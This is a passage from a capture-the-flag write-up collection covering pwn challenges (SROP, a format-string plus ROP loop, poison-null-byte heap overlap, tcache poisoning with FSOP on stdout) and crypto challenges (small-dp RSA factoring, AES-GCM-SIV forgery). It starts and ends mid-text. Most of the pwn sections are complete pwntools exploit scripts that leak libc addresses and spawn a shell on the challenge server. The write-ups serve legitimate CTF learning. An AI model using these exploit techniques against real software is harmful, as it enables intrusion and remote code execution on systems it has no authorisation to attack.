Now we encode it with the repeating 8‑byte key:
key = p64(system_leak) # 8 bytes from the info leak
encoded = bytearray()
for i in range(len(desired)):
encoded.append(desired[i] ^ key[i % 8])
payload = bytes(encoded)
We send this payload to the Bomb Devil when prompted:
[BOMB DEVIL] Infuse your energy into the contract:
Solve
Below is the full pwntools script that implements everything:
- Leaks
systemvia Control + War devils. - Computes libc base.
- Builds SROP payload considering XOR.
- Gets a shell.
#!/usr/bin/env python3
from pwn import *
# ------------------------------------------------------------
# Config
# ------------------------------------------------------------
binary_path = './chal_chainsawman'
libc_path = './libc.so.6'
ld_path = './ld-linux-x86-64.so.2'
context.binary = ELF(binary_path, checksec=False)
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'info'
elf = context.binary
libc = ELF(libc_path, checksec=False)
HOST = 'remote.infoseciitr.in'
PORT = 8005
# Offsets inside the provided libc.so.6
SYSTEM_OFF = libc.sym['system'] # 0x58750 for this libc
BINSH_OFF = next(libc.search(b'/bin/sh')) # 0x1cb42f
# Manually found gadgets in this specific libc build
POP_RAX_RET_OFF = 0xDD237 # misaligned: 58 c3 → pop rax ; ret
SYSCALL_OFF = 0x288B5 # syscall
# ------------------------------------------------------------
# Helpers
# ------------------------------------------------------------
def start():
"""
Start local process (with given ld & libc) or remote.
Use:
python3 solve_pwn1.py LOCAL
python3 solve_pwn1.py # remote
"""
if args.LOCAL:
return process(
[ld_path, "--library-path", ".", binary_path],
env={"LD_PRELOAD": libc_path}
)
else:
return remote(HOST, PORT)
def leak_system_key(io):
"""
Use CONTROL DEVIL (Makima) + WAR DEVIL (Yoru) to leak the
8-byte contract_seal (which is exactly system@libc).
"""
# -----------------------------
# CONTROL DEVIL: low 4 bytes
# -----------------------------
io.recvuntil(b"[CONTROL DEVIL] Submit to her control: ")
payload0 = b'A' * 4
io.send(payload0)
io.recvuntil(b"[CONTROL DEVIL] Your dominated essence: ")
leak0 = io.recvn(4)
try:
io.recvline()
except EOFError:
pass
key0 = xor(leak0, payload0)
log.info(f"key0 (low 4 bytes): {key0.hex()}")
# -----------------------------
# WAR DEVIL: high 4 bytes
# -----------------------------
io.recvuntil(b"[WAR DEVIL] Offer your tribute to War: ")
payload1 = b'B' * 4
io.send(payload1)
io.recvuntil(b"[WAR DEVIL] Your war essence: ")
leak1 = io.recvn(4)
try:
io.recvline()
except EOFError:
pass
key1 = xor(leak1, payload1)
log.info(f"key1 (high 4 bytes): {key1.hex()}")
key = key0 + key1 # 8 bytes, little-endian
system_leak = u64(key)
log.success(f"Leaked system address: {hex(system_leak)}")
return system_leak, key
def build_srop_payload(libc_base, key):
"""
Build the 0x200-byte payload for Bomb Devil, already XOR-encoded with key.
libc_base comes from the system leak.
key is the 8-byte XOR key (system address bytes).
"""
# Resolve gadgets and useful addresses
pop_rax_ret = libc_base + POP_RAX_RET_OFF
syscall = libc_base + SYSCALL_OFF
binsh = libc_base + BINSH_OFF
log.info(f"libc base : {hex(libc_base)}")
log.info(f"pop rax; ret : {hex(pop_rax_ret)}")
log.info(f"syscall : {hex(syscall)}")
log.info(f"'/bin/sh' string : {hex(binsh)}")
# SigreturnFrame is available directly from pwntools
frame = SigreturnFrame()
frame.rax = 59 # SYS_execve
frame.rdi = binsh # "/bin/sh"
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall # 2nd syscall → execve
frame.rsp = 0 # doesn't matter, execve doesn't return
# Stack layout inside bomb_devils_contract:
# buffer at [rbp-0x50]
# saved RBP at [rbp]
# saved RIP at [rbp+8]
# memcpy(buffer, heap, 0x200) → overflow by 0x1b0 bytes
offset_to_ret = 0x58 # from start of buffer to saved RIP
desired = b'A' * offset_to_ret
desired += p64(pop_rax_ret) # overwritten return address
desired += p64(0xf) # rax = SYS_rt_sigreturn
desired += p64(syscall) # syscall; with rsp pointing at frame
desired += bytes(frame) # SigreturnFrame on stack
# Bomb Devil copies exactly 0x200 bytes
desired = desired.ljust(0x200, b'\x00')
# Encode with repeating 8-byte key (system address bytes)
assert len(key) == 8
encoded = bytearray()
for i in range(len(desired)):
encoded.append(desired[i] ^ key[i % 8])
return bytes(encoded)
# ------------------------------------------------------------
# Main exploit
# ------------------------------------------------------------
def main():
io = start()
# Just let leak_system_key drive the initial menu/banner.
system_leak, key = leak_system_key(io)
# Compute libc base from leaked system
libc_base = system_leak - SYSTEM_OFF
log.success(f"Computed libc base: {hex(libc_base)}")
# After WAR DEVIL, story text → Bomb Devil
io.recvuntil(b"[BOMB DEVIL] Infuse your energy into the contract: ")
# Build and send 0x200-byte payload
payload = build_srop_payload(libc_base, key)
assert len(payload) == 0x200
io.send(payload)
# Drop to interactive shell
io.interactive()
if __name__ == '__main__':
main()
FLAG: flag{1've_n3ver_g0n3_t0_sch00l_eith3r!}
Aladdin ka Chirag
Description
what’s your wish?
Analysis
- checksec: The binary has no canary
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
-
Reverse engineering: The program logic is quite simple, as it has a single
cave()function that allows us to read into two buffers on the stack:bufands -
Vulnerabilities: The function
cave()has two vulnerabilities:- Stack overflow: It allocates 8 bytes for
s, but allows us to write upto 18 bytes to it. Hence, it is possible to overwrite saved rbp and 2 lowest bytes of the return address - Format string bug: It calls
printf(buf)with buf being a user controlled buffer
- Stack overflow: It allocates 8 bytes for
Exploitation
-
The first thing to mention is that if we can execute
cave()only once, it is impossible to get a working exploit as despite the two bugs, we do not have any leak at first. Therefore, it is important to use the stack overflow vulnerability to create a loop, in which we can execute thecave()function many times. The approach that I opt for is overwriting the lowest byte of the return address from D2 to B0, which allows us to jump to the beginning ofmain(). -
From now, there are different paths that we can follow, as we have a powerful format string vulnerability (note that the payload string can be upto 24 bytes). However, I accidentally found a seemingly easier ROP approach, because I see some of my addresses “stacked” up as return addresses consecutively.
-
My approach is generally as follows: First, I leak libc using the format string bug. After every
cave()calls, we need to always overwrite the last byte of the return address to B0 to loop back to main. The next thing that I notice is in the beginning of main, there are 2 instructions
push rbp
mov rbp, rsp
- Since the saved rbp is under our control, then we can push it back on the stack at the beginning of main. Another good thing is that we do not need to worry about it being a legitimate stack address as it will always be overwritten with rsp afterwards.
- Finally, we simply put our ROP gadgets at the positions of saved rbp to achieve a chain
#!/usr/bin/env python3
from pwn import *
libc = ELF('./libc.so.6')
p = remote('remote.infoseciitr.in', 8007)
def leak_libc():
p.sendafter(b'name >>', b'A' * 16 + b'\xb0')
p.sendafter(b'wish >> ', b'%11$llx\0')
libc_leak = p.recvline().strip().decode()
return int('0x' + libc_leak, 16) - 0x2a1ca
# Leak libc
libc_base = leak_libc()
log.info(f'libc_base: {hex(libc_base)}')
# Calculating addresses
pop_rdi = libc_base + 0x10f78b
pop_rsi = libc_base + 0x110a7d
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.symbols['system']
# ROP
p.sendafter(b'name >>', b'A' * 8 + p64(system) + b'\xb0')
p.sendafter(b'wish >> ', b'A' * 8)
p.sendafter(b'name >>', b'A' * 8 + p64(0) + b'\xb0')
p.sendafter(b'wish >> ', b'A' * 8)
p.sendafter(b'name >>', b'A' * 8 + p64(pop_rsi) + b'\xb0')
p.sendafter(b'wish >> ', b'A' * 8)
p.sendafter(b'name >>', b'A' * 8 + p64(binsh) + b'\xb0')
p.sendafter(b'wish >> ', b'A' * 8)
p.sendafter(b'name >>', b'A' * 8 + p64(pop_rdi) + b'\xb0')
p.sendafter(b'wish >> ', b'A' * 8)
# Padding so that when we end the loop, ROP will start at pop_rdi
p.sendafter(b'name >>', b'A' * 8 + b'A' * 8 + b'\xb0')
p.sendafter(b'wish >> ', b'A' * 8)
# Send this to end the loop
p.sendafter(b'name >> ', b'A')
p.sendafter(b'wish >> ', b'A')
p.interactive()
Santa’s Workshop
Description
Explore Santa’s magical gift workshop and uncover the mysteries of the North Pole. Ho Ho Ho!
We are given a Google Drive link with the binaries chall, libc.so.6 and ld-linux-x86-64.so.2
Analysis
- checksec: All the mitigations are used
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
-
Reverse engineering: The binary allows us to perform various actions on the heap including
- malloc a chunk of size in range (0x50 and 0x1000)
- write to a chunk
- read from a chunk
- free the chunk (and the pointer and size are nulled as well so no use-after-free)
- master-key: check if our input matches a random 16 bytes from /dev/urandom, can only be called after load-secret. If it matches, print the flag
- load-secret: generate 16 random bytes and store them on the heap and a global variable.
-
The main goal of us now is to somehow leak the secret random 16 bytes on the heap/ on the global variable to achieve win()
-
Vulnerabilities: There are two main vulnerabilities in this binary
- Free heap leak: The binary freely gives us the heap address at the beginning
- Off by one null byte (poison null byte). At address 1A3E, the byte after our input is set to null. As our input can reach the final byte of the corresponding heap chunk, we can null out a single byte in the next chunk (which is the least significant byte of the
sizefield). This situation is commonly known as poison null byte.
Exploitation
-
Using poison null byte technique, combining with the ability to malloc, free, read and write to chunk, we can achieve the overlapping chunks as detailed in https://github.com/shellphish/how2heap/blob/master/glibc_2.35/poison_null_byte.c
-
By doing so, we can call load-secret with the chunk storing the secret be the same as a chunk of us, which allows secret leaking.
#!/usr/bin/env python3
from pwn import *
p = remote('remote.infoseciitr.in', 8000)
def malloc(id, sz):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Slot: ', str(id).encode())
p.sendlineafter(b'Size: ', str(sz).encode())
def free(id):
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'Slot: ', str(id).encode())
def read(id, sz):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Slot: ', str(id).encode())
p.recvuntil(b'Contents: ')
return p.recv(sz)
def write(id, payload):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Slot: ', str(id).encode())
p.sendafter(b'Message: ', payload)
# Leak heap
p.recvuntil(b'Ho...Ho...Ho..')
heap_base = int(p.recvline().strip().decode(), 16)
log.info(f"Heap_leak: {hex(heap_base)}")
# Off by one null byte -> overlapping chunks
malloc(0, 0x58)
malloc(1, 0x4f8)
malloc(2, 0x50)
write(0, p64(heap_base + 0x20) + p64(0x51) + p64(heap_base + 0x8) + p64(heap_base + 0x10) + b'A' * 0x30 + p64(0x50))
free(1)
# Load secret
p.sendlineafter(b'> ', b'6')
# Leak secret
secret = read(0, 32)[16:]
log.info(f"Secret: {secret}")
# Submit secret
p.sendlineafter(b'> ', b'5')
p.sendafter(b'Code: ', secret)
p.interactive()
The Last Duel
Description
Can you survive the duel, and bring back flag to your homeland?
Analysis
Overview
The binary contains:
-
An array
spells[8]of pointers to dynamically allocated buffers -
A menu for operating on indices
0..7 -
A global array of constant spell names
const char *spell_texts[8] = { "Fireball", "Rasengan", "AvadaKedavra", "Kamehameha", "Expelliarmus", "arcane_blast_of_the_void!", "LIGHT", "DARK" };
Vulnerability
When choosing Learn spell (menu 1), the program has a heap overflow bug:
int learn_spell(int idx)
{
int r = rand() % 8;
const char *text = spell_texts[r]; // fixed internal string
printf("guess: ");
char user_pattern[0x100];
read_line(user_pattern, 0x100); // your input
int pos = 0;
int res = mini_regex_match(text, user_pattern, &pos);
if (res < 0)
return -1;
// BUG: res is *position* in text, not length, but used as malloc size
void *ptr = malloc(res);
// BUG: memcpy size is strlen(text) or similar, not bounded by res
memcpy(ptr, user_pattern, strlen(text));
spells[idx] = ptr;
}
Core Bug: mini_regex_match returns the match position in text, which is used as malloc size. However, the copy size is based on the full spell name length, creating a heap overflow that overwrites chunk metadata.
Other Menu Options:
- Forget spell (3):
free(spells[idx]) - Remember spell (4): Prints spell content - can leak heap/libc from freed chunks
- Special spell (5): Custom
malloc/memcpyfor precise metadata overwrite - Menu 6: Exit path with two
malloc(0xe8)calls + stdout cleanup → FSOP target via_IO_2_1_stdout_
RNG Control
The game uses rand() % 8 to select spells. We need specific lengths:
"arcane_blast_of_the_void!"(index 5, length 0x19)"Rasengan"(index 1, length 0x8)
RNG Synchronization:
libll = CDLL('./libc.so.6')
libll.srand(time.time())
Use dodge (menu 2) to burn rand() calls until we get the desired spell index, making behavior deterministic.
Heap Overflow Technique
Vulnerable Code:
res = mini_regex_match(text, pattern, &pos); // res = match position
ptr = malloc(res); // small allocation
memcpy(ptr, pattern, strlen(text)); // large copy → overflow
Attack Pattern: Use regex patterns to control both allocation size and overflow content:
payload = b'.?' * 0x0c + p8(0x21) + b'?' # Sets next chunk size to 0x21
This creates controlled overflows into adjacent chunk metadata.
Information Leaks
Heap Base Leak:
- Free a tcache chunk:
fd = heap_base >> 12(safe-linking with NULL next) - Use
rememberto read freed chunk contents - Extract and decode:
heap_base = (leaked_fd << 12)
Libc Base Leak:
- Create fake unsorted bin chunk (size 0xa1)
- When freed, contains
main_arenapointers - Small allocation +
rememberreveals libc address - Calculate:
libc_base = leak - main_arena_offset
Exploit Strategy
1. Leak Information:
- Heap base:
heap_base = (fd_leak << 12) - Libc base:
libc_base = main_arena_leak - 0x203bb0
2. Prepare 0xf0 Chunks:
- Create and free two 0xf0-sized chunks for tcache poisoning
- Menu 6 will allocate
malloc(0xe8)twice → uses our corrupted tcache
3. Tcache Poisoning:
- Safe-linking:
fd = (chunk_addr >> 12) ^ target - Target:
_IO_2_1_stdout_ - Overflow first 0xf0 chunk’s
fdto point to stdout
Tcache poisoning with safe‑linking
We use the special spell (menu 5) to overwrite the first 0xf0 chunk’s header (which includes the fd pointer stored by tcache).
Safe‑linking formula in glibc 2.32+:
fd = PROTECT_PTR(chunk_addr, target) = ((uintptr_t)chunk_addr >> 12) ^ target;
So if we want fd to point to target = &_IO_2_1_stdout_, we must store:
fd = ((chunk_addr >> 12) ^ target);
We know:
chunk_addr≈heap_base + 0x400(from heap layout we observed).target=_IO_2_1_stdout_.
In the exploit:
stdout_addr = libc_base + libc.symbols['_IO_2_1_stdout_']
mangled = stdout_addr ^ ((heap_base + 0x400) >> 12)
payload = b"A" * 0x18 + p64(0xf1) + p64(mangled)
special(5, 0x28, payload)
This overwrites the chunk header for the first 0xf0 tcache entry:
prev_size(ignored)size = 0xf1(0xf0 used size + inuse bit)fd = mangled.
Now, when the program later asks for malloc(0xe8):
- The first returned pointer will be that corrupted chunk (we ignore its content).
- The second
malloc(0xe8)will follow itsfd, which now points to_IO_2_1_stdout_.
Thus, the second allocation from menu 6 returns a pointer right into the stdout FILE structure, letting us overwrite it.
FSOP: hijacking stdout
Once malloc returns _IO_2_1_stdout_, the code expects a normal heap chunk and later copies user‑controlled data into it. We craft a fake FILE structure that, when glibc does stream operations (printing, flushing, closing) on stdout at program exit, will end up calling system("||sh").
In pwntools, building a FILE structure is straightforward:
from pwn import FileStructure
_IO_2_1_stdout_ = stdout_addr
system_addr = libc_base + libc.symbols['system']
fp = FileStructure()
fp.flags = 0xfbad2484 + (u32(b'||sh') << 32) # magic + "||sh"
fp._IO_read_end = system_addr
fp._lock = _IO_2_1_stdout_ + 0x50
fp._wide_data = _IO_2_1_stdout_
fp.vtable = libc_base + libc.symbols['_IO_wfile_jumps'] - 0x20
payload = bytes(fp) + p64(_IO_2_1_stdout_ + 0x10 - 0x68)
Here:
fp.flagsis set to a standardstdoutread/write flag pattern (0xfbad2484) plus an encoded"||sh"in the upper bits, used as the argument tosystem.fp._IO_read_endis abused to hold the address ofsystem.fp.vtablepoints inside_IO_wfile_jumps, but shifted such that one of the early virtual calls ends up using our crafted pointers.
Finally we send it during menu 6 interaction:
sa(b">> ", b"6") # choose option 6 (exit)
sa(b">> ", b"A" * 8) # satisfy some read for the first malloc
sa(b">> ", payload) # overwrite stdout with our fake FILE
During program termination, glibc performs cleanup / flush on stdout, hits the corrupted vtable, and effectively executes:
system("||sh");
Solve
Below is the final exploit script used to solve the challenge, combining all of the steps above:
- RNG synchronization and steering
rand()%8viadodge. - Heap layout manipulation for heap leak.
- Fake unsorted bin and libc leak.
- Tcache poisoning with safe‑linking.
- FSOP on
_IO_2_1_stdout_to getsystem("||sh").
#!/usr/bin/env python3
from pwn import *
from ctypes import CDLL
import math, time
# ----------------------------------------------------------------------
# Setup
# ----------------------------------------------------------------------
exe = ELF('./chall', checksec=False)
libc = ELF('./libc.so.6')
context.binary = exe
context.log_level = 'info'
HOST = 'remote.infoseciitr.in'
PORT = 8006
def start():
if args.REMOTE:
return remote(HOST, PORT)
else:
# run with the provided loader + libc locally
return process(['./ld-linux-x86-64.so.2', '--library-path', '.', exe.path])
# shorthand
def s(data): p.send(data)
def sa(delim, data): p.sendafter(delim, data)
def sl(data): p.sendline(data)
def sla(delim, data): p.sendlineafter(delim, data)
def rcu(delim): return p.recvuntil(delim)
# ----------------------------------------------------------------------
# Menu wrappers
# ----------------------------------------------------------------------
def learn(idx, guess, spell_len):
"""
Menu 1: Learn the spell
The binary does: val = rand() % 8; spell = spells[val];
We want a specific spell length to control memcpy size:
spell_len == 0x19 -> index 5: "arcane_blast_of_the_void!" (len 25)
spell_len == 0x8 -> index 1: "Rasengan" (len 8)
We keep calling "dodge" (menu 2) until rand()%8 hits the index we want.
"""
if spell_len == 0x19:
target = 5
elif spell_len == 0x8:
target = 1
else:
raise ValueError("unexpected spell_len")
val = libll.rand() % 8
while val != target:
dodge() # menu 2, burns one rand()
val = libll.rand() % 8
sa(b'>> ', b'1')
sla(b'>> ', str(idx).encode())
sla(b'guess: ', guess)
def dodge():
sa(b'>> ', b'2')
def forget(idx):
sa(b'>> ', b'3')
sla(b'>> ', str(idx).encode())
def remember(idx):
sa(b'>> ', b'4')
sla(b'>> ', str(idx).encode())
def special(idx, size, spell):
sa(b'>> ', b'5')
sla(b'>> ', str(idx).encode())
sla(b'>> ', str(size).encode())
sla(b'spell: ', spell)
# ----------------------------------------------------------------------
# Main exploit
# ----------------------------------------------------------------------
p = start()
# local copy of the SAME libc used by the binary, for rand() predict
libll = CDLL('./libc.so.6')
now = int(math.floor(time.time()))
libll.srand(now)
# ----------------------------------------------------------------------
# 1) Heap leak via tcache entry
# ----------------------------------------------------------------------
payload = b'.?' * 0x0c + p8(0x21) + b'?'
for i in range(0, 3):
learn(i, payload, 0x19)
for i in range(3, 8):
learn(i, payload, 0x19)
forget(0)
payload2 = b'.?' * 0x0c + p8(0x31) + b'?'
learn(0, payload2, 0x19)
forget(2)
remember(1)
rcu(b"spell >> ")
p.recvn(0x20)
heap_leak = u64(p.recvn(8))
heap_base = heap_leak << 12
log.info(f'heap_base = {heap_base:#x}')
# ----------------------------------------------------------------------
# 2) Fill tcache for size 0xa0 to avoid consolidation issues
# ----------------------------------------------------------------------
forget(0)
payload = b'.?' * 0x0c + p8(0x21) + b'?'
learn(0, payload, 0x19)
learn(2, payload, 0x19)
for i in range(6, -1, -1):
forget(i)
payload = b'.?' * 0x0c + p8(0xa1) + b'?'
learn(i, payload, 0x19)
forget(i + 1)
# restore original layout
forget(i)
payload = b'.?' * 0x0c + p8(0x21) + b'?'
learn(i, payload, 0x19)
for i in range(1, 8):
payload = b'.?' * 0x0c + p8(0x21) + b'?'
learn(i, payload, 0x19)
# ----------------------------------------------------------------------
# 3) Libc leak via fake unsorted bin
# ----------------------------------------------------------------------
forget(1)
payload = b'.?' * 0x0c + p8(0xa1) + b'?'
learn(1, payload, 0x19)
forget(2) # this becomes a (fake) unsorted-bin chunk
# prepare two 0xf0 tcache chunks
forget(4)
payload = b'.?' * 0x0c + p8(0xf1) + b'?'
learn(4, payload, 0x19)
forget(5) # tcache[0xf0] entry 0
forget(3)
payload = b'.?' * 0x0c + p8(0xf1) + b'?'
learn(3, payload, 0x19)
forget(4) # tcache[0xf0] entry 1
# leak libc from the unsorted-bin chunk at index 2
payload = b'.?' * (0x8 // 2)
learn(2, payload, 0x8)
remember(2)
rcu(b"spell >> ")
p.recvn(0x8)
libc_leak = u64(p.recvn(8))
libc_base = libc_leak - 0x203bb0 # 0x203bb0 = main_arena + 0xf0 in this libc
log.info(f'libc_base = {libc_base:#x}')
# ----------------------------------------------------------------------
# 4) Tcache poisoning for 0xf0 chunks → target _IO_2_1_stdout_
# ----------------------------------------------------------------------
stdout_addr = libc_base + libc.symbols['_IO_2_1_stdout_']
system_addr = libc_base + libc.symbols['system']
# safe-linking: PROTECT_PTR(pos, ptr) = (pos >> 12) ^ ptr
# here pos is roughly heap_base + 0x400 for the first 0xf0 tcache entry
mangled = stdout_addr ^ ((heap_base + 0x400) >> 12)
payload = b"A" * 0x18 + p64(0xf1) + p64(mangled)
# write into tcache entry using add_special_spell
special(5, 0x28, payload)
# ----------------------------------------------------------------------
# 5) FSOP on stdout via the exit path (menu 6)
# ----------------------------------------------------------------------
sa(b'>> ', b'6')
# first malloc(0xe8) – data not important
sa(b'>> ', b'A' * 8)
_IO_2_1_stdout_ = stdout_addr
# Build fake FILE structure for stdout
fp = FileStructure()
fp.flags = 0xfbad2484 + (u32(b'||sh') << 32) # "||sh" as part of flags
fp._IO_read_end = system_addr # call system()
fp._lock = _IO_2_1_stdout_ + 0x50
fp._wide_data = _IO_2_1_stdout_
fp.vtable = libc_base + libc.symbols['_IO_wfile_jumps'] - 0x20
payload = bytes(fp) + p64(_IO_2_1_stdout_ + 0x10 - 0x68)
sa(b'>> ', payload)
p.interactive()
Cryptography
bolt_fast
Description
Everyone keeps telling me to worry about Wiener’s attack, but they just don’t understand optimization. Don’t bother checking my key size; it’s huge. You’ll never catch me! Hahahaha!
Analysis
The challenge provides RSA key generation code with a critical vulnerability in creating the $d_p$ parameter (CRT exponent).
Vulnerable Code:
# The vulnerability is here:
dp_smart = getPrime(16)
e = inverse(dp_smart, p-1)
Weakness:
$$d_p \equiv d \pmod{p-1} \equiv e^{-1} \pmod{p-1}$$Normally, $d_p$ should be approximately the same size as $p$ (around 1024 bits). However, the challenge uses getPrime(16), meaning $d_p$ is only a 16-bit prime number.
Due to the extremely small key space (only a few thousand prime numbers), we can perform a Brute-force attack to find $d_p$.
Mathematical Derivation
The goal is to find the prime factor $p$ from $N$ and $e$ when we know (or can guess) $d_p$.
-
$$e \cdot d_p - 1 = k \cdot (p-1)$$
This means $(e \cdot d_p - 1)$ is a multiple of $(p-1)$.
- $$a^{p-1} \equiv 1 \pmod p$$
- $$a^{e \cdot d_p - 1} \equiv 1 \pmod p$$$$\Rightarrow p \mid (a^{e \cdot d_p - 1} - 1)$$
- $$p = \text{GCD}(a^{e \cdot d_p - 1} - 1 \pmod N, N)$$
Solve
The script below doesn’t require external libraries (like pycryptodome), and can be run directly with Python 3.
import math
import sys
# --- CHALLENGE DATA ---
N = 22061149554706951873851465765917042279909309233484615798640186468876401527123242297915465375459511054772541825273007749026648641620485458471351811298443479262277231839408201654282927999029324652496830649919637863202844794784443579336735415046336390091671003022244732389217910334465895328371360158510046347031294125509649474722535171601096998732929497780870057433634214228116293166963101489644680801538837005001377764416442380530464289453201654394144682138927826247301956954884930328147978637795259346321547054237005318172528896865428457293207571804464061990459958593520373578234234490804585522859401957032395007142007
e = 9648003423571638489624579625383119603270189664714210175737275695548206153582516635644990660189908448510652756058045483763071850222529184219333877863638216254054444012130393864033392161426815671725858723096432660521038315432183692553568344247916320931122090436770154203149432285380142051084178668290839858171
c = 18817014323644102879407569381912044887671193778381872592373573382139976320220125847317309926920208859012582031032930373240219755720268543444729983316326640661427616841700761054678137741340093140586895094016730198447552611014038632666821117758006775144046000049080406858764900680265384743839472653817299383323869146152251839342236631780818396088131196202767951301023089053662813175083035336272981588533957561537975684034210166185396046071368061264321959248372783262788158418696375783427276741258526067168910326630496339287237940444426277757582174810909733937257258767407189452212391936958267819666424558678534741723930
# --- MATH HELPER FUNCTIONS ---
# 1. Extended Euclidean Algorithm (Calculate modular inverse)
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('Modular inverse does not exist')
else:
return x % m
# 2. Convert Long to Bytes (Crypto library replacement)
def long_to_bytes(val, endianness='big'):
width = val.bit_length()
width += 8 - ((width % 8) or 8)
fmt = '%%0%dx' % (width // 4)
s = bytes.fromhex(fmt % val)
return s
# 3. Sieve of Eratosthenes (Generate list of prime numbers)
def sieve(limit):
is_prime = [True] * (limit + 1)
is_prime[0] = is_prime[1] = False
for p in range(2, int(math.sqrt(limit)) + 1):
if is_prime[p]:
for i in range(p * p, limit + 1, p):
is_prime[i] = False
return [p for p in range(limit + 1) if is_prime[p]]
# --- ATTACK LOGIC ---
def solve():
print("[*] STEP 1: Generating 16-bit primes...")
# dp_smart is 16-bit, so max value is 65536
primes = sieve(65536)
# Filter primes that fit getPrime(16) -> [2^15, 2^16]
candidates = [p for p in primes if p >= (1 << 15)]
print(f"[*] Found {len(candidates)} candidates for dp.")
print("[*] STEP 2: Brute-forcing dp to find p...")
for dp in candidates:
# Check: a^(e*dp - 1) = 1 mod p
# Calculate GCD(a^(e*dp - 1) - 1, N) to find p
exponent = e * dp - 1
# Base a = 2
val = pow(2, exponent, N)
p = math.gcd(val - 1, N)
if p > 1 and p < N:
print(f"\n[+] SUCCESS! Found dp: {dp}")
print(f"[+] Found p: {str(p)[:30]}...")
# --- DECRYPTION ---
print("[*] STEP 3: Decrypting the flag...")
q = N // p
phi = (p - 1) * (q - 1)
d = modinv(e, phi)
m_int = pow(c, d, N)
flag = long_to_bytes(m_int)
print("-" * 40)
try:
print(f"FLAG: {flag.decode()}")
except:
print(f"FLAG (HEX): {flag.hex()}")
print("-" * 40)
return
if __name__ == "__main__":
solve()
FLAG: flag{w31n3r_d1dn7_73ll_y0u_70_b3_6r33dy}
Ambystoma Mexicanum
Description
The axolotl (Ambystoma mexicanum) is a species of paedomorphic mole salamander, meaning they mature without undergoing metamorphosis into the terrestrial adult form; the adults remain fully aquatic with obvious external gills.
Vulnerability
The server uses the AES GCMSIV encryption system.
The exploitation point leading to the unintended solution is the following code segment:
for i in range(4):
key = binascii.unhexlify(KEYS[i % len(KEYS)])
ct = binascii.unhexlify(CIPHERTEXTS[i % len(CIPHERTEXTS)])
- Using the modulo operation: If there’s only 1 key, all 4 iterations use the same key, so we just need to use the first key to encrypt 4 plaintext blocks sequentially:
block0 = b"gib me flag p" + b" " # 13 chars + 3 spaces
block1 = b"l" + b" " * 15
block2 = b"i" + b" " * 15
block3 = b"s" + b" " * 15
so that after decryption, they can be combined to form the target message.
Solve
from pwn import *
import re
from cryptography.hazmat.primitives.ciphers.aead import AESGCMSIV
HOST = "remote.infoseciitr.in"
PORT = 4004
def main():
r = remote(HOST, PORT)
r.recvuntil(b"Your choice:")
r.sendline(b"2")
data = r.recvuntil(b"Your choice:").decode()
key_match = re.search(r"KEYS=\['([0-9a-f]+)'\]", data)
nonce_match = re.search(r"nonce=([0-9a-f]+)", data)
assert key_match and nonce_match, "Failed to parse key/nonce"
key_hex = key_match.group(1)
nonce_hex = nonce_match.group(1)
print(f"[+] Leaked key: {key_hex}")
print(f"[+] Leaked nonce: {nonce_hex}")
key = bytes.fromhex(key_hex)
nonce = bytes.fromhex(nonce_hex)
block0 = b"gib me flag p" + b" " # 13 chars + 3 spaces
block1 = b"l" + b" " * 15
block2 = b"i" + b" " * 15
block3 = b"s" + b" " * 15
P = block0 + block1 + block2 + block3
assert len(P) == 64
aead = AESGCMSIV(key)
ct = aead.encrypt(nonce, P, b"")
ct_hex = ct.hex()
print(f"[+] Forged ciphertext (hex): {ct_hex}")
r.sendline(b"3")
r.recvuntil(b"Enter ciphertext (hex):")
r.sendline(ct_hex.encode())
r.recvuntil(b"Your choice:")
r.sendline(b"4")
print(r.recvall().decode())
if __name__ == "__main__":
main()
FLAG: flag{th3_4x0lo7ls_4r3_n07_wh47_th3y_s33m}
Ambystoma Mexicanum Revenge
Description
The axolotls are not what they seem, they are back now, with a revenge.
Vulnerability
In this challenge, the author patched the unintended solution, forcing us to use 4 keys instead of just 1 like in the previous challenge to encrypt
for i in range(4):
try:
key = binascii.unhexlify(KEYS[i])
ct = binascii.unhexlify(CIPHERTEXTS[i % len(CIPHERTEXTS)])
This means the Server wants to use the same ciphertext ct for all 4 keys
When decrypting:
- Under key 0, block 0 → “gib m”
- Under key 1, block 1 → “e fla”
- Under key 2, block 2 → “g pli”
- Under key 3, block 3 → “s”
where:
- $S_j=POLYVALHj(AAD,plaintext,length block)$
- $nonce || 0^{32}=nonce || b"\x00\x00\x00\x00"$
Get 4 equations and get $S_j$
Then solve the system of equations in $GF(2^{128})$ to obtain the plaintext for every key
Solve
Choose option 1 three times to get 4 keys Choose option 2 to get key, nonce leak Then run the following script
from Crypto.Cipher import AES
from Crypto.Util.strxor import strxor
import binascii, os, sys
# --------- FILL IN YOUR DEBUG INFO ----------
KEYS=['4a3384d96c2477580b3fd572108a3011', '56cbc2e00e4310981a768126c5aa0916', 'c3c9675f70b0a1c3e197b63bae8b23af', '1a63c6625cb03c957c8ec8ce39ba57ed']
CIPHERTEXTS=[]
nonce='b0369d1ca4dc211062666850'
KEYS_HEX=KEYS
CIPHERTEXTS=[]
NONCE_HEX= nonce
# ------------------------------------------------
keys = [binascii.unhexlify(k) for k in KEYS_HEX]
nonce = binascii.unhexlify(NONCE_HEX)
# =========== GF(2^128) for POLYVAL ==============
R = PolynomialRing(GF(2), 'x')
x = R.gen()
POLYVAL_modulus = x**128 + x**127 + x**126 + x**121 + 1
K = GF(2**128, name='a', modulus=POLYVAL_modulus)
def bytes_to_bit_array(data):
bits = []
for b in data:
s = bin(b)[2:].zfill(8)
s = s[::-1] # little-endian within byte (according to RFC 8452)
bits.extend(int(bit) for bit in s)
return bits
def bytes_to_fe(b):
return K(bytes_to_bit_array(b))
def fe_to_bytes(fe):
bits = list(fe)
if len(bits) < 128:
bits += [0]*(128-len(bits))
out = bytearray()
for i in range(0, 128, 8):
chunk = bits[i:i+8]
